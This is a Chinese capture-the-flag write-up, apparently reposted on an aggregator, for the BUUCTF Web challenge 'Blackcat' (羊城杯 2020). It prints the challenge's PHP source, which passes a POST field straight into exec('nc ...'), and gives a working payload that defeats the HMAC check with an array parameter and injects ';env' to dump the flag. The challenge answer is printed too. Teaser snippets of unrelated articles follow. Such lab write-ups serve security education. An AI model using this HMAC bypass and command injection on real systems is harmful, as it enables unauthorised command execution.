84,【8】BUUCTF WEB [羊城杯 2020]Blackcat

進入靶場

音樂硬控我3分鐘

回去看源碼

<?php
// 檢查 POST 請求中是否包含 'Black-Cat-Sheriff' 和 'One-ear' 字段
// 如果任意一個字段為空,則輸出錯誤信息并終止腳本執行
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('請提供 Black-Cat-Sheriff 和 One-ear 參數');
}// 從環境變量中獲取 'clandestine' 的值
$clandestine = getenv("clandestine");// 檢查 POST 請求中是否包含 'White-cat-monitor' 字段
if(isset($_POST['White-cat-monitor'])) {// 如果存在 'White-cat-monitor' 字段,使用 HMAC-SHA256 算法對其進行哈希處理// 哈希的密鑰為之前從環境變量獲取的 $clandestine$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
}// 使用 HMAC-SHA256 算法對 'One-ear' 字段的值進行哈希處理
// 哈希的密鑰為更新后的 $clandestine
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);// 比較哈希結果 $hh 和 POST 請求中的 'Black-Cat-Sheriff' 字段的值
// 如果不相等,則輸出錯誤信息并終止腳本執行
if($hh !== $_POST['Black-Cat-Sheriff']){die('哈希驗證失敗');
}// 如果哈希驗證通過,則執行系統命令
// 這里嘗試執行 'nc' 命令并將 'One-ear' 字段的值作為參數傳遞
// 此操作存在嚴重安全風險,因為可能導致命令注入攻擊
echo exec("nc " . $_POST['One-ear']);
?>

開始解題

<?php
$clandestine = hash_hmac('sha256', array(), 123);
$hh = hash_hmac('sha256', ';cat flag.php', $clandestine);
echo $hh;

運行得到04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6PHP

<?phpvar_dump(hash_hmac('sha256', ";env", NULL));?>

運行得到afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

最終組成payload:White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

傳post類型時可以用插件或BP

我用BP更方便一點

flag{4117c718-7501-4c0c-827e-323a8d9ea551}?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/67120.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/67120.shtml
英文地址,請注明出處:http://en.pswp.cn/web/67120.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

人工智能:從基礎到前沿

目錄 目錄 1. 引言 2. 人工智能基礎 2.1 什么是人工智能&#xff1f; 2.2 人工智能的歷史 2.3 人工智能的分類 3. 機器學習 3.1 機器學習概述 3.2 監督學習 3.3 無監督學習 3.4 強化學習 4. 深度學習 4.1 深度學習概述 4.2 神經網絡基礎 4.3 卷積神經網絡&#…

漏洞情報:為什么、要什么和怎么做

漏洞一直是網絡攻防的焦點所在&#xff0c;因為漏洞直接或間接影響安全性的核心方面——權限。攻擊者挖掘和利用漏洞&#xff0c;獲取非授權的權限&#xff1b;防御方定位和消除漏洞&#xff0c;監測和阻斷漏洞的利用&#xff0c;使攻擊者無法利用漏洞達到其目的。漏洞信息本質…

leetcode——刪除鏈表的倒數第N個節點(java)

給你一個鏈表&#xff0c;刪除鏈表的倒數第 n 個結點&#xff0c;并且返回鏈表的頭結點。 示例 1&#xff1a; 輸入&#xff1a;head [1,2,3,4,5], n 2 輸出&#xff1a;[1,2,3,5] 示例 2&#xff1a; 輸入&#xff1a;head [1], n 1 輸出&#xff1a;[] 示例 3&#xf…

正則表達式以及Qt中的使用

目錄 一、正則表達式 1、基本匹配&#xff1a; 2、元字符&#xff1a; 2.1 .運算符&#xff1a; 2.2 字符集&#xff1a; 2.3 重復次數&#xff1a; 2.4 量詞{} 2.5 特征標群() 2.6 或運算符 2.7 \反斜線轉碼特殊字符 2.8 錨點 3、簡寫字符 4、零寬度斷言 4.1 正…

【第一天】零基礎入門刷題Python-算法篇-數據結構與算法的介紹(持續更新)

提示&#xff1a;文章寫完后&#xff0c;目錄可以自動生成&#xff0c;如何生成可參考右邊的幫助文檔 文章目錄 前言一、Python數據結構與算法的詳細介紹1.基本概念2.Python中的數據結構1. 列表&#xff08;List&#xff09;2. 元組&#xff08;Tuple&#xff09;3. 字典&#…

流行的開源高性能數據同步工具 - Apache SeaTunnel 整體架構運行原理

概述 背景 數據集成在現代企業的數據治理和決策支持中扮演著至關重要的角色。隨著數據源的多樣化和數據量的迅速增長&#xff0c;企業需要具備強大的數據集成能力來高效地處理和分析數據。SeaTunnel通過其高度可擴展和靈活的架構&#xff0c;幫助企業快速實現多源數據的采集、…

消息隊列篇--原理篇--Pulsar(Namespace,BookKeeper,類似Kafka甚至更好的消息隊列)

Apache Pulusar是一個分布式、多租戶、高性能的發布/訂閱&#xff08;Pub/Sub&#xff09;消息系統&#xff0c;最初由Yahoo開發并開源。它結合了Kafka和傳統消息隊列的優點&#xff0c;提供高吞吐量、低延遲、強一致性和可擴展的消息傳遞能力&#xff0c;適用于大規模分布式系…

VS Code i18n國際化組件代碼code顯示中文配置 i18n ally

VUE項目做i18n國際化之后&#xff0c;代碼中的中文都變成了code這時的代碼就會顯得非常難讀&#xff0c;如果有一個插件能把code轉換成中文顯示就好了 vscode插件搜索“i18n ally” 在項目根文件夾下創建文件&#xff1a;.vscode/settings.json settings.json 內容如下 {"…

圖論匯總1

1.圖論理論基礎 圖的基本概念 二維坐標中&#xff0c;兩點可以連成線&#xff0c;多個點連成的線就構成了圖。 當然圖也可以就一個節點&#xff0c;甚至沒有節點&#xff08;空圖&#xff09; 圖的種類 整體上一般分為 有向圖 和 無向圖。 有向圖是指 圖中邊是有方向的&a…

為什么機器學習中梯度下降是減去斜率,而不是按照其數學意義減去斜率的倒數

做個簡單假設&#xff0c;Loss函數的某一個參數的函數曲線是二次方程&#xff0c;其導數函數為 r 2 ? w r 2*w r2?w 按照斜率意義來看&#xff0c;要減去斜率倒數 降低LOSS需要將w1更新為w2&#xff0c;所以更新公式為 w w ? Δ L Δ w w w - \frac{\Delta L}{\Delta w…

iptables和ipvs差異

iptables和ipvs都是Linux內核中用于網絡流量管理的工具&#xff0c;它們在實現方式、功能、性能以及使用場景上存在一些顯著的差異。以下是對兩者的詳細比較&#xff1a; 一、實現方式 iptables&#xff1a; 基于Netfilter框架。使用鏈表&#xff08;chain&#xff09;和規則&…

Effective C++ 規則51:編寫 new 和 delete 時需固守常規

1、背景 在 C 中&#xff0c;如果你需要為類自定義 new 和 delete&#xff0c;必須遵循一些約定和規則&#xff0c;以確保內存管理的一致性、可維護性和安全性。當我們使用 new 和 delete 操作時&#xff0c;C 編譯器會&#xff1a; 調用全局或類特定的 operator new 來分配內…

JS面相對象小案例:自定義安全數組

在JS中&#xff0c;數組不像其他語言&#xff08;java、python&#xff09;中那樣安全&#xff0c;它具有動態性和弱類型性&#xff0c;切越界訪問沒有具體的報錯&#xff0c;而是返回空&#xff0c;為提升數組的安全性&#xff0c;我們可以自行定義一個安全數組。 一、增加報…

本地大模型編程實戰(02)語義檢索(2)

文章目錄 準備按批次嵌入加載csv文件&#xff0c;分割文檔并嵌入測試嵌入效果總結代碼 上一篇文章&#xff1a; 本地大模型編程實戰(02)語義檢索(1) 詳細介紹了如何使用 langchain 實現語義檢索&#xff0c;為了演示方便&#xff0c;使用的是 langchain 提供的內存數據庫。 在實…

windows平臺intel-vpl編譯

需要先在本機編譯好opencl庫 git clone --recursive https://github.com/KhronosGroup/OpenCL-SDK.git cmake -A x64 -T v143 -D OPENCL_SDK_BUILD_OPENGL_SAMPLESOFF -B OpenCL-SDK\build -S OpenCL-SDKcmake --build OpenCL-SDK\build --config Releasecmake --install O…

Vue 3 30天精進之旅:Day 05 - 事件處理

引言 在前幾天的學習中&#xff0c;我們探討了Vue實例、計算屬性和偵聽器。這些概念為我們搭建了Vue應用的基礎。今天&#xff0c;我們將專注于事件處理&#xff0c;這是交互式Web應用的核心部分。通過學習如何在Vue中處理事件&#xff0c;你將能夠更好地與用戶進行交互&#…

[C語言日寄]exit函數的使用及其拓展

【作者主頁】siy2333 【專欄介紹】?c語言日寄?&#xff1a;這是一個專注于C語言刷題的專欄&#xff0c;精選題目&#xff0c;搭配詳細題解、拓展算法。從基礎語法到復雜算法&#xff0c;題目涉及的知識點全面覆蓋&#xff0c;助力你系統提升。無論你是初學者&#xff0c;還是…

React 中hooks之useSyncExternalStore使用總結

1. 基本概念 useSyncExternalStore 是 React 18 引入的一個 Hook&#xff0c;用于訂閱外部數據源&#xff0c;確保在并發渲染下數據的一致性。它主要用于&#xff1a; 訂閱瀏覽器 API&#xff08;如 window.width&#xff09;訂閱第三方狀態管理庫訂閱任何外部數據源 1.1 基…

激光雷達和相機早期融合

通過外參和內參的標定將激光雷達的點云投影到圖像上。 ? 傳感器標定 首先需要對激光雷達和相機&#xff08;用于獲取 2D 圖像&#xff09;進行外參和內參標定。這是為了確定激光雷達坐標系和相機坐標系之間的轉換關系&#xff0c;包括旋轉和平移。通常采用棋盤格等標定工具&…

Linux--權限

Linux系統的權限管理是保障系統安全的重要機制&#xff0c;以下詳細講解權限相關概念及操作指令&#xff1a; 一、基礎權限機制 1. 權限的三元組&#xff0c;讀&#xff08;r&#xff09;、寫&#xff08;w&#xff09;、執行&#xff08;x&#xff09; 每個文件或目錄有三組…